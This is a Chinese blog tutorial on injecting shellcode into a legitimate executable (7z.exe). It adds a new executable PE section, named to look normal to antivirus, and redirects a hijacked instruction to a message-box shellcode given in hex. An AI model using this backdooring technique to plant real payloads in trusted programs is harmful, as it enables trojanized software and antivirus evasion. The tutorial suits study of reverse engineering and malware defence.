pe植入shellcode

shellcode是一个弹窗,为:
fc686a0a381e686389d14f683274910c8bf48d7ef433dbb7042be366bb33325368757365725433d2648b5a308b4b0c8b491c8b098b6908ad3d6a0a381e750595ff57f895608b453c8b4c057803cd8b592003dd33ff478b34bb03f5990fbe063ac47408c1ca0703d046ebf13b54241c75e48b592403dd668b3c7b8b591c03dd032cbb955fab57613d6a0a381e75a933db536877657374686661696c8bc453505053ff57fc53ff57f8

pe文件为7z.exe

首先新增节(手工):
一般能实现特定功能的shellcode的长度都比较长,可以分到几个节上的空白区,但比较麻烦,或者把最后一个节扩大,但最后一个节一般都没有执行的属性,所以选择新增一个节表
修改添加节表:
1.先判断最后一个节表后面有没有足够40个字节新增一个节表的结构体,正常的都能
2.把第一个节表拷贝到最后一个节表的后面,因为第一个节表的属性默认是可执行,可以省略修改。
3.节表是复制过来的,所以要修改很多东西,先获取一下文件对齐和内存对齐。
1.SectionAlignment内存对齐,在扩展PE头上的第十一个属性,基于扩展PE头偏移地址32个字节,大小为DWORD,当前程序 0x1000
2.FileAlignment 文件对齐,扩展pe头的第十二个属性,基于PE头偏移36个字节,大小为Dword,当前程序为0x200

Name 改为pdata,使杀毒软件看着尽量正常一点
Virtualsize 1000 00 20 00 00
Virtualaddress 上一节的virtualAddress加上上上一个virtualsize按照sectionAlignment的整数倍对齐 80000h+6502h 整数倍 00 80 70 00
SizeofRawData FileAligment的整数倍,改1000
PointerToRawData 上一节表的potinertorawData加上sizeofwardata再按照FileAlignment的整数倍 6600h+7c400 整数倍 82a00 00 2a 08 00
PointerTorelocations 00000000
Pointerlinenumbers 00000000
Numberofrelocations 0000
NumberofLinenumbers 0000
Characteristics 不用改 复制的.text的权限
在这里插入图片描述

更改后的pdata区域

尾部填充1000h =4096字节

修改标准PE头
修改标准PE头的NumberofSections属性,修改节表的数量,
在这里插入图片描述

修改pe扩展表
修改sizeofimage,在原来的基础上添加的字节大小,按照内存大小,基于PE扩展表偏移,大小为dword 00087000+1000
在这里插入图片描述

另存为7z文件,双击功能正常。
在这里插入图片描述

使用od载入添加节的7z
查看内存,查看添加的pdata
在这里插入图片描述

跳转到0x0048 7000
在这里插入图片描述

我们让程序运行到此处,执行shellcode的位置随意挑选,只要能被触发
在这里插入图片描述

push 0x4623DC
改为
Jmp 0x0048 7000

在pushad内存写入shellcode和其他汇编代码

Pushad
Pushfd
Shellcode
Popfd
Popad
Push 0x4623dc
Jmp 0x43f2cb
在这里插入图片描述

保存修改,执行7z.exe,最后成功利用shellcode弹窗。
在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值